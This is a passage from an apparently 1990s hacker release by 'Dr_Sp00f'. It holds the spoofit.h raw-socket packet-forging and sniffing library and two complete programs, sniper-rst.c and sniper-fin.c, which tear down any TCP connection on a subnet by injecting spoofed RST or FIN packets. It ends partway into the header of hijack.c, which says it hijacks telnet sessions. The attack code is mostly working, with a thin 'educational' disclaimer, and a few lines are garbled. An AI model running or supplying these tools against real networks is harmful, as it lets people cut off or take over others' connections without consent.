to */ /* use it in any other non-commercial software (modified or not) as long */ /* as you give me the credits for it. You can spread this include file, */ /* but keep it unmodified. */ /* */ /**************************************************************************/ /* */ /* Easiest way to understand this library is to look at the use of it, in */ /* the example progs. */ /* */ /**** Sending packets *****************************************************/ /* */ /* int open_sending (void) */ /* Returns a filedescriptor to the sending socket. */ /* close it with close (int filedesc) */ /* */ /* void transmit_TCP (int sp_fd, char *sp_data, */ /* int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, */ /* char *sp_source, unsigned short sp_source_port, */ /* char *sp_dest,unsigned short sp_dest_port, */ /* unsigned long sp_seq, unsigned long sp_ack, */ /* unsigned short sp_flags) */ /* fire data away in a TCP packet */ /* sp_fd : raw socket filedesc. */ /* sp_data : IP options (you should do the padding) */ /* TCP options (you should do the padding) */ /* data to be transmitted */ /* (NULL is nothing) */ /* note that all is optional, and IP en TCP options are*/ /* not often used. */ /* All data is put after eachother in one buffer. */ /* sp_ipoptlen : length of IP options (in bytes) */ /* sp_tcpoptlen : length of TCP options (in bytes) */ /* sp_datalen : amount of data to be transmitted (bytes) */ /* sp_source : spoofed host that"sends packet" */ /* sp_source_port: spoofed port that "sends packet" */ /* sp_dest : host that should receive packet */ /* sp_dest_port : port that should receive packet */ /* sp_seq : sequence number of packet */ /* sp_ack : ACK of packet */ /* sp_flags : flags of packet (URG,ACK,PSH,RST,SYN,FIN) */ /* */ /* void transmit_UDP (int sp_fd, char *sp_data, */ /* int sp_ipoptlen, int sp_datalen, */ /* char *sp_source, unsigned short sp_source_port, */ /* char *sp_dest, unsigned short sp_dest_port) */ /* fire data away in an UDP packet */ /* sp_fd : raw socket filedesc. */ /* sp_data : IP options */ /* data to be transmitted */ /* (NULL if none) */ /* sp_ipoptlen : length of IP options (in bytes) */ /* sp_datalen : amount of data to be transmitted */ /* sp_source : spoofed host that"sends packet" */ /* sp_source_port: spoofed port that "sends packet" */ /* sp_dest : host that should receive packet */ /* sp_dest_port : port that should receive packet */ /* */ /**** Receiving packets ***************************************************/ /* */ /* int open_receiving (char *rc_device, char mode) */ /* Returns fdesc to a receiving socket */ /* (if mode: IO_HANDLE don't call this twice, global var */ /* rc_fd_abc123 is initialised) */ /* rc_device: the device to use e.g. "eth0", "ppp0" */ /* be sure to change DEV_PREFIX accordingly! */ /* DEV_PREFIX is the length in bytes of the header that */ /* comes with a SOCKET_PACKET due to the network device */ /* mode: 0: normal mode, blocking, (read will wait till packet */ /* comes, mind you, we are in PROMISC mode) */ /* IO_NONBLOCK: non-blocking mode (read will not wait till */ /* usefull for active polling) */ /* IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/ /* (IO_HANDLE is not recommended to use, as it should be */ /* modified according to own use, and it works bad on heavy */ /* traffic continuous monitoring. I needed it once, but left it */ /* in to make you able to have a look at Signal handled IO, */ /* personally I would have removed it, but some thought it */ /* doesn't do any harm anyway, so why remove... ) */ /* (I'm not giving any more info on IO_HANDLE as it is not */ /* needed for the example programs, and interested people can */ /* easilythey figure the code out theirselves.) */ /* (Besides IO_HANDLE can only be called ONCE in a program, */ /* other modes multiple times) */ /* */ /* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start, */ /* unsigned char *proto) */ /* This waits for a packet (mode default) and puts it in buffer or */ /* returns whether there is a pack or not (IO_NONBLOCK). */ /* It returns the packet length if there is one available, else 0 */ /* */ /* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, */ /* char *wp_source, unsigned short wp_source_port, */ /* char *wp_dest, unsigned short wp_dest_port, */ /* int wp_flags, int wait_time); */ /* wp_fd: a receiving socket (default or IO_NONBLOCK) */ /* ret_values: pointer to a sp_wait_packet struct, that contains SEQ, */ /* ACK, flags, datalen of that packet. For further packet */ /* handling see the examples. */ /* struct sp_wait_packet { */ /* unsigned long seq,ack; */ /* unsigned short flags; */ /* int datalen; */ /* }; */ /* wp_source, wp_source_port : sender of packet */ /* wp_dest, wp_dest_port : receiver of packet */ /* wp_flags: flags that should be present in packet.. (mind you there */ /* could be more present, so check on return) */ /* note: if you don't care about flag, use 0 */ /* wait_time: if not zero, this function will return -1 if no correct */ /* packet has arrived within wait_time secs. */ /* (only works on IO_NONBLOCK socket) */ /* */ /* void set_filter (char *f_source, unsigned short f_source_port, */ /* char *f_dest, unsigned short f_dest_port) */ /* (for use with IO_HANDLE) */ /* Start the program to watch all trafic from source/port to */ /* dest/port. This enables the updating of global data. Can */ /* be called multiple times. */ /* */ /* void close_receiving (void) */ /* When opened a IO_HANDLE mode receiving socket close it with */ /* this. */ /* */ /**** Global DATA (IO_HANDLE mode) ****************************************/ /* */ /* When accessing global data, copy the values to local vars and then use */ /* them. Reduce access time to a minimum. */ /* Mind you use of this is very limited, if you are a novice on IO, just */ /* ignore it, the other functions are good enough!). If not, rewrite the */ /* handler for your own use... */ /* */ /* sig_atomic_t SP_DATA_BUSY */ /* Put this on NON-ZERO when accesing global data. Incoming */ /* packets will be ignored then, data can not be overwritten. */ /* */ /* unsigned long int CUR_SEQ, CUR_ACK; */ /* Last recorded SEQ and ACK number of the filtered "stream". */ /* Before accessing this data set SP_DATA_BUSY non-zero, */ /* afterward set it back to zero. */ /* */ /* unsigned long int CUR_COUNT; */ /* increased everytime other data is updated */ /* */ /* unsigned int CUR_DATALEN; */ /* Length of date in last TCP packet */ /* */ /**************************************************************************/ #include "sys/socket.h" /* includes, what would we do without them */ #include "netdb.h" #include "stdlib.h" #include "unistd.h" #include "stdio.h" #include "errno.h" #include "netinet/in.h" #include "netinet/ip.h" #include "linux/if.h" #include "sys/ioctl.h" #include "sys/types.h" #include "signal.h" #include "fcntl.h" #undef DEBUG #define IP_VERSION 4 /* keep y'r hands off... */ #define MTU 1500 #define IP_HEAD_BASE 20 /* using fixed lengths to send */ #define TCP_HEAD_BASE 20 /* no options etc... */ #define UDP_HEAD_BASE 8 /* Always fixed */ #define IO_HANDLE 1 #define IO_NONBLOCK 2 int DEV_PREFIX = 9999; sig_atomic_t WAIT_PACKET_WAIT_TIME=0; /**** IO_HANDLE ************************************************************/ int rc_fd_abc123; sig_atomic_t RC_FILTSET=0; char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */ sig_atomic_t SP_DATA_BUSY=0; unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0; unsigned int CUR_DATALEN; unsigned short CUR_FLAGS; /***************************************************************************/ struct sp_wait_packet { unsigned long seq,ack; unsigned short flags; int datalen; }; /* Code from Sniffit - BTW my own program.... no copyright violation here */ #define URG 32 /* TCP flags */ #define ACK 16 #define PSH 8 #define RST 4 #define SYN 2 #define FIN 1 struct PACKET_info { int len, datalen; unsigned long int seq_nr, ACK_nr; u_char FLAGS; }; struct IP_header /* The IPheader (without options) */ { unsigned char verlen, type; unsigned short length, ID, flag_offset; unsigned char TTL, protocol; unsigned short checksum; unsigned long int source, destination; }; struct TCP_header /* The TCP header (without options) */ { unsigned short source, destination; unsigned long int seq_nr, ACK_nr; unsigned short offset_flag, window, checksum, urgent; }; struct UDP_header /* The UDP header */ { unsigned short source, destination; unsigned short length, checksum; }; struct pseudo_IP_header /* The pseudo IP header (checksum calc) */ { unsigned long int source, destination; char zero_byte, protocol; unsigned short TCP_UDP_len; }; /* data structure for argument passing */ struct sp_data_exchange { int fd; /* Sh!t from transmit_TCP */ char *data; int datalen; char *source; unsigned short source_port; char *dest; unsigned short dest_port; unsigned long seq, ack; unsigned short flags; char *buffer; /* work buffer */ int IP_optlen; /* IP options length in bytes */ int TCP_optlen; /* TCP options length in bytes */ }; /**************** all functions *******************************************/ void transmit_TCP (int fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags); void transmit_UDP (int sp_fd, char *sp_data, int ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port); int get_packet (int rc_fd, char *buffer, int *, unsigned char*); int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int); static unsigned long sp_getaddrbyname(char *); int open_sending (void); int open_receiving (char *, char); void close_receiving (void); void sp_send_packet (struct sp_data_exchange *, unsigned char); void sp_fix_TCP_packet (struct sp_data_exchange *); void sp_fix_UDP_packet (struct sp_data_exchange *); void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char); unsigned short in_cksum(unsigned short *, int ); void rc_sigio (int); void set_filter (char *, unsigned short, char *, unsigned short); /********************* let the games commence ****************************/ static unsigned long sp_getaddrbyname(char *sp_name) { struct hostent *sp_he; int i; if(isdigit(*sp_name)) return inet_addr(sp_name); for(i=0;i<100;i++) { if(!(sp_he = gethostbyname(sp_name))) {printf("WARNING: gethostbyname failure!\n"); sleep(1); if(i>=3) /* always a retry here in this kind of application */ printf("Coudn't resolv hostname."), exit(1); } else break; } return sp_he ? *(long*)*sp_he->h_addr_list : 0; } int open_sending (void) { struct protoent *sp_proto; int sp_fd; int dummy=1; /* they don't come rawer */ if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1) perror("Couldn't open Socket."), exit(1); #ifdef DEBUG printf("Raw socket ready\n"); #endif return sp_fd; } void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto) { int sp_status; struct sockaddr_in sp_server; struct hostent *sp_help; int HEAD_BASE; /* Construction of destination */ bzero((char *)&sp_server, sizeof(struct sockaddr)); sp_server.sin_family = AF_INET; sp_server.sin_addr.s_addr = inet_addr(sp->dest); if (sp_server.sin_addr.s_addr == (unsigned int)-1) { /* if target not in DOT/number notation */ if (!(sp_help=gethostbyname(sp->dest))) fprintf(stderr,"unknown host %s\n", sp->dest), exit(1); bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length); }; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */ case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */ default: exit(1); break; }; sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0, (struct sockaddr *)&sp_server,sizeof(struct sockaddr)); if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen) { if (sp_status < 0) perror("Sendto"), exit(1); printf("hmm... Only transmitted %d of %d bytes.\n", sp_status, sp->datalen+HEAD_BASE); }; #ifdef DEBUG printf("Packet transmitted...\n"); #endif } void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto) { struct IP_header *sp_help_ip; int HEAD_BASE; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */ case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */ default: exit(1); break; }; sp_help_ip = (struct IP_header *) (sp->buffer); sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4); sp_help_ip->type = 0; sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen); sp_help_ip->ID = htons(12545); /* TEST */ sp_help_ip->flag_offset = 0; sp_help_ip->TTL = 69; sp_help_ip->protocol = proto; sp_help_ip->source = sp_getaddrbyname(sp->source); sp_help_ip->destination = sp_getaddrbyname(sp->dest); sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer), IP_HEAD_BASE+sp->IP_optlen); #ifdef DEBUG printf("IP header fixed...\n"); #endif } void sp_fix_TCP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct TCP_header *sp_help_tcp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;ibuffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags); sp_help_tcp->seq_nr = htonl(sp->seq); sp_help_tcp->ACK_nr = htonl(sp->ack); sp_help_tcp->source = htons(sp->source_port); sp_help_tcp->destination = htons(sp->dest_port); sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */ sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest); sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 6; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen); memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE); sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen); #ifdef DEBUG printf("TCP header fixed...\n"); #endif } void transmit_TCP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_tcpoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_tcpoptlen); if (sp_datalen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen, sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.seq = sp_seq; sp_struct.ack = sp_ack; sp_struct.flags = sp_flags; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = sp_tcpoptlen; sp_fix_TCP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 6); sp_send_packet(&sp_struct, 6); } void sp_fix_UDP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct UDP_header *sp_help_udp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;ibuffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_udp->source = htons(sp->source_port); sp_help_udp->destination = htons(sp->dest_port); sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE); sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest); sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 17; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE); memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE); sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp->datalen+12+UDP_HEAD_BASE); #ifdef DEBUG printf("UDP header fixed...\n"); #endif } void transmit_UDP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_data!=NULL) memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = 0; sp_fix_UDP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 17); sp_send_packet(&sp_struct, 17); } /* This routine stolen from ping.c -- HAHAHA!*/ unsigned short in_cksum(unsigned short *addr,int len) { register int nleft = len; register unsigned short *w = addr; register int sum = 0; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } /************************* Receiving department ****************************/ int open_receiving (char *rc_device, char mode) { int or_fd; struct sigaction rc_sa; int fcntl_flag; struct ifreq ifinfo; char test; /* create snoop socket and set interface promisc */ if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) perror("Couldn't open Socket."), exit(1); strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device); if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0) perror("Couldn't get flags."), exit(1); ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC; if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0) perror("Couldn't set flags. (PROMISC)"), exit(1); if(mode&IO_HANDLE) { /* install handler */ rc_sa.sa_handler=rc_sigio; /* we don't use signal() */ sigemptyset(&rc_sa.sa_mask); /* because the timing window is */ rc_sa.sa_flags=0; /* too big... */ sigaction(SIGIO,&rc_sa,NULL); } if(fcntl(or_fd,F_SETOWN,getpid())<0) perror("Couldn't set ownership"), exit(1); if(mode&IO_HANDLE) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0) perror("Couldn't set FLAGS"), exit(1); rc_fd_abc123=or_fd; } else { if(mode&IO_NONBLOCK) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0) perror("Couldn't set FLAGS"), exit(1); }; }; #ifdef DEBUG printf("Reading socket ready\n"); #endif return or_fd; } /* returns 0 when no packet read! */ int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto) { char help_buffer[MTU]; int pack_len; struct IP_header *gp_IPhead; pack_len = read(rc_fd,help_buffer,1500); if(pack_len<0) { if(errno==EWOULDBLOCK) {pack_len=0;} else {perror("Read error:"); exit(1);} }; if(pack_len>0) { pack_len -= DEV_PREFIX; memcpy(buffer,help_buffer+DEV_PREFIX,pack_len); gp_IPhead = (struct IP_header *) buffer; if(proto != NULL) *proto = gp_IPhead->protocol; if(TCP_UDP_start != NULL) *TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2; } return pack_len; } void wait_packet_timeout (int sig) { alarm(0); WAIT_PACKET_WAIT_TIME=1; } int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, char *wp_source, unsigned short wp_source_port, char *wp_dest, unsigned short wp_dest_port, int wp_flags, int wait_time) { char wp_buffer[1500]; struct IP_header *wp_iphead; struct TCP_header *wp_tcphead; unsigned long wp_sourcel, wp_destl; int wp_tcpstart; char wp_proto; wp_sourcel=sp_getaddrbyname(wp_source); wp_destl=sp_getaddrbyname(wp_dest); WAIT_PACKET_WAIT_TIME=0; if(wait_time!=0) { signal(SIGALRM,wait_packet_timeout); alarm(wait_time); } while(1) { while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0) { if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;} }; if(wp_proto == 6) { wp_iphead= (struct IP_header *) wp_buffer; wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart); if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) ) { if( (ntohs(wp_tcphead->source)==wp_source_port) && (ntohs(wp_tcphead->destination)==wp_dest_port) ) { if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) ) { ret_values->seq=ntohl(wp_tcphead->seq_nr); ret_values->ack=ntohl(wp_tcphead->ACK_nr); ret_values->flags=ntohs(wp_tcphead->offset_flag)& (URG|ACK|PSH|FIN|RST|SYN); ret_values->datalen = ntohs(wp_iphead->length) - ((wp_iphead->verlen & 0xF) << 2) - ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10); alarm(0); return 0; } } } } } /*impossible to get here.. but anyways*/ alarm(0); return -1; } void close_receiving (void) { close(rc_fd_abc123); } void rc_sigio (int sig) /* Packet handling routine */ { char rc_buffer[1500]; char packet_id [50]; unsigned char *rc_so, *rc_dest; struct IP_header *rc_IPhead; struct TCP_header *rc_TCPhead; int pack_len; if(RC_FILTSET==0) return; if(SP_DATA_BUSY!=0) /* skip this packet */ return; pack_len = read(rc_fd_abc123,rc_buffer,1500); rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX); if(rc_IPhead->protocol!=6) return; /* if not TCP */ rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2)); rc_so = (unsigned char *) &(rc_IPhead->source); rc_dest = (unsigned char *) &(rc_IPhead->destination); sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source), rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination)); if(strcmp(packet_id,rc_filter_string)==0) { SP_DATA_BUSY=1; CUR_SEQ = ntohl(rc_TCPhead->seq_nr); CUR_ACK = ntohl(rc_TCPhead->ACK_nr); CUR_FLAGS = ntohs(rc_TCPhead->offset_flag); CUR_DATALEN = ntohs(rc_IPhead->length) - ((rc_IPhead->verlen & 0xF) << 2) - ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10); CUR_COUNT++; SP_DATA_BUSY=0; } } void set_filter (char *f_source, unsigned short f_source_port, char *f_dest, unsigned short f_dest_port) { unsigned char *f_so, *f_des; unsigned long f_sol, f_destl; RC_FILTSET=0; if(DEV_PREFIX==9999) fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1); f_sol = sp_getaddrbyname(f_source); f_destl = sp_getaddrbyname(f_dest); f_so = (unsigned char *) &f_sol; f_des = (unsigned char *) &f_destl; sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", f_so[0],f_so[1],f_so[2],f_so[3],f_source_port, f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port); RC_FILTSET=1; } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ---=[ sniper-rst.c ]=--------------------------------------------------------- /**************************************************************************/ /* Sniper-rst - Example program on connection killing with IP spoofing */ /* Using the RST flag. */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - Killing any TCP connection on your subnet */ /* */ /* Author - Dr_Sp00f (Himself) */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */ /* Compiling - gcc -o sniper-rst sniper-rst.c */ /* */ /* Usage - Usage described in the spoofing article that came with this. */ /* If you didn't get this, try to get the full release... */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" /* Those 2 'defines' are important for putting the receiving device in */ /* PROMISCUOUS mode */ #define INTERFACE "eth0" #define INTERFACE_PREFIX 14 char SOURCE[100],DEST[100]; int SOURCE_P,DEST_P; void main(int argc, char *argv[]) { int i,stat,j; int fd_send, fd_receive; unsigned long sp_ack, sp_seq; unsigned short flags; struct sp_wait_packet pinfo; if(argc != 5) { printf("usage: %s host1 port1 host2 port2\n",argv[0]); exit(0); } /* preparing some work */ DEV_PREFIX = INTERFACE_PREFIX; strcpy(SOURCE,argv[1]); SOURCE_P=atoi(argv[2]); strcpy(DEST,argv[3]); DEST_P=atoi(argv[4]); /* opening sending and receiving sockets */ fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */ printf("Trying to terminate the connection\n"); for(i=1;i<=100;i++) { /* Waiting for a packet containing an ACK */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5); if(stat==-1) {printf("Connection 5 secs idle or dead...\n");exit(1);} sp_seq=pinfo.ack; sp_ack=0; j=0; /* Sending our fake Packet */ /* for(j=0;j<10;j++) This would be better */ /* { */ transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P, sp_seq+j,sp_ack,RST); /* } */ /* waiting for confirmation */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5); if(stat<0) { printf("Connection 5 secs idle or dead...\n"); exit(0); } } printf("I did not succeed in killing it.\n"); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ---=[ sniper-fin.c ]=--------------------------------------------------------- /**************************************************************************/ /* Sniper-fin - Example program on connection killing with IP spoofing */ /* using the FIN flag. */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - Killing any TCP connection on your subnet */ /* */ /* Author - Dr_Sp00f (Himself) */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */ /* Compiling - gcc -o sniper-fin sniper-fin.c */ /* */ /* Usage - Usage described in the spoofing article that came with this. */ /* If you didn't get this, try to get the full release... */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" /* Those 2 'defines' are important for putting the receiving device in */ /* PROMISCUOUS mode */ #define INTERFACE "eth0" #define INTERFACE_PREFIX 14 char SOURCE[100],DEST[100]; int SOURCE_P,DEST_P; void main(int argc, char *argv[]) { int i,stat; int fd_send, fd_receive; unsigned long sp_ack, sp_seq; unsigned short flags; struct sp_wait_packet pinfo; if(argc != 5) { printf("usage: %s host1 port1 host2 port2\n",argv[0]); exit(0); } /* preparing some work */ DEV_PREFIX = INTERFACE_PREFIX; strcpy(SOURCE,argv[1]); SOURCE_P=atoi(argv[2]); strcpy(DEST,argv[3]); DEST_P=atoi(argv[4]); /* opening sending and receiving sockets */ fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */ for(i=1;i<100;i++) { printf("Attack Sequence %d.\n",i); /* Waiting for a packet containing an ACK */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10); if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);} sp_seq=pinfo.ack; sp_ack=pinfo.seq+pinfo.datalen; /* Sending our fake Packet */ transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN); /* waiting for confirmation */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5); if(stat>=0) { printf("Killed the connection...\n"); exit(0); } printf("Hmmmm.... no response detected... (retry)\n"); } printf("I did not succeed in killing it.\n"); } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ---=[ hijack.c ]=------------------------------------------------------------- /**************************************************************************/ /* Hijack - Example program on connection hijacking with IP spoofing */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - taking control of a running telnet session, and executing */ /* our own command in that shell. */ /* */ /* Author - Dr_Sp00f (Himself) */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET 